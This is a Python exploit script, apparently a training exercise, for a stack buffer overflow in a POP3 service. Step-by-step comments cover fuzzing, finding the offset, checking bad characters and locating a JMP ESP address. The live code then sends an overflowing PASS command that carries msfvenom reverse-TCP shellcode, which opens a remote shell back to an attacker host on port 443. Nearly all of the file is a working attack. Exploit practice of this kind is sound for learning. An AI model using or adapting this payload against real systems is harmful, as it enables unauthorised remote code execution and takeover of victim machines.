Python Script for Buffer_Overflow (BO)

BO.py

#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 				-------------------1st Step-------------------

# Framing similar charecters (say, A) to crash the application
# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

# buffer = 'A' * 3000 

# note down EIP register value and check in pattern_offset
# note down the offset value and use it in the script

# 				-------------------2nd Step-------------------

# Find the crash point by generating patterns with <pattern_create.rb>
# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 39694438

# buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"

# Results [*] Exact match at offset 2606

# 				-------------------3rd Step-------------------

# Frame the script (buffer as Variable name) in such a way that it can hold shell code

# buffer = 'A' * 2606 + 'B' * 4 + 'C' * (3000-2606-4)

# 				-------------------4th Step-------------------

# badcharecters can be downloaded from Internet or can be created using any script uploaded in github 

# badchar = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10"
# "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
# "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
# "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
# "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
# "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
# "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
# "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
# "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
# "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
# "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
# "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
# "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
# "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
# "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
# "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

# buffer = 'A' * 2606 + 'B' * 4 + badchar

# 				-------------------5th Step-------------------

# In Immunity Debugger
	# !mona modules (Search of jmp esp)

# Identify the Jump ESP
	# nasm > jmp esp 
	# Results: 00000000  FFE4  (jmp esp)

# In Immunity Debugger
	# !mona find -s "\xff\xe4" -m slmfc

# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
# 5f4a358f (memory allocation pointer)
# Reverse the above pointer as "\x8f\x35\x4a\x5f" 

# Creating shell / Payload
# msfvenom -p windows/shell_reverse_tcp LHOST=10.X.X.X LPORT=443 -b "\x00\x0a\x0d" -f c


shell = ("\xd9\xc3\xd9\x74\x24\xf4\xba\xa4\x91\xf3\x3c\x5e\x29\xc9\xb1"
"\x52\x83\xc6\x04\x31\x56\x13\x03\xf2\x82\x11\xc9\x06\x4c\x57"
"\x32\xf6\x8d\x38\xba\x13\xbc\x78\xd8\x50\xef\x48\xaa\x34\x1c"
"\x22\xfe\xac\x97\x46\xd7\xc3\x10\xec\x01\xea\xa1\x5d\x71\x6d"
"\x22\x9c\xa6\x4d\x1b\x6f\xbb\x8c\x5c\x92\x36\xdc\x35\xd8\xe5"
"\xf0\x32\x94\x35\x7b\x08\x38\x3e\x98\xd9\x3b\x6f\x0f\x51\x62"
"\xaf\xae\xb6\x1e\xe6\xa8\xdb\x1b\xb0\x43\x2f\xd7\x43\x85\x61"
"\x18\xef\xe8\x4d\xeb\xf1\x2d\x69\x14\x84\x47\x89\xa9\x9f\x9c"
"\xf3\x75\x15\x06\x53\xfd\x8d\xe2\x65\xd2\x48\x61\x69\x9f\x1f"
"\x2d\x6e\x1e\xf3\x46\x8a\xab\xf2\x88\x1a\xef\xd0\x0c\x46\xab"
"\x79\x15\x22\x1a\x85\x45\x8d\xc3\x23\x0e\x20\x17\x5e\x4d\x2d"
"\xd4\x53\x6d\xad\x72\xe3\x1e\x9f\xdd\x5f\x88\x93\x96\x79\x4f"
"\xd3\x8c\x3e\xdf\x2a\x2f\x3f\xf6\xe8\x7b\x6f\x60\xd8\x03\xe4"
"\x70\xe5\xd1\xab\x20\x49\x8a\x0b\x90\x29\x7a\xe4\xfa\xa5\xa5"
"\x14\x05\x6c\xce\xbf\xfc\xe7\xfb\x34\xfe\x81\x93\x48\xfe\x6c"
"\xdf\xc4\x18\x04\x0f\x81\xb3\xb1\xb6\x88\x4f\x23\x36\x07\x2a"
"\x63\xbc\xa4\xcb\x2a\x35\xc0\xdf\xdb\xb5\x9f\xbd\x4a\xc9\x35"
"\xa9\x11\x58\xd2\x29\x5f\x41\x4d\x7e\x08\xb7\x84\xea\xa4\xee"
"\x3e\x08\x35\x76\x78\x88\xe2\x4b\x87\x11\x66\xf7\xa3\x01\xbe"
"\xf8\xef\x75\x6e\xaf\xb9\x23\xc8\x19\x08\x9d\x82\xf6\xc2\x49"
"\x52\x35\xd5\x0f\x5b\x10\xa3\xef\xea\xcd\xf2\x10\xc2\x99\xf2"
"\x69\x3e\x3a\xfc\xa0\xfa\x4a\xb7\xe8\xab\xc2\x1e\x79\xee\x8e"
"\xa0\x54\x2d\xb7\x22\x5c\xce\x4c\x3a\x15\xcb\x09\xfc\xc6\xa1"
"\x02\x69\xe8\x16\x22\xb8")

buffer = 'A' * 2606 + "\x8f\x35\x4a\x5f" + "\x90" * 10 + shell

# ------------------------------------------------------------------------------------

try:
	print "\nSending evil buffer..."
	s.connect(('10.X.X.X',110)) # IP Address of the Victim machine
	data = s.recv(1024)
	s.send('USER username' + '\r\n')
	data = s.recv(1024)
	s.send('PASS ' + buffer + '\r\n')
	print "\nDone..!!"
except:
	print "Could not connect to POP3..!"



#										--------------------THE END-----------------

#										-----------------HAPPY LEARNING-------------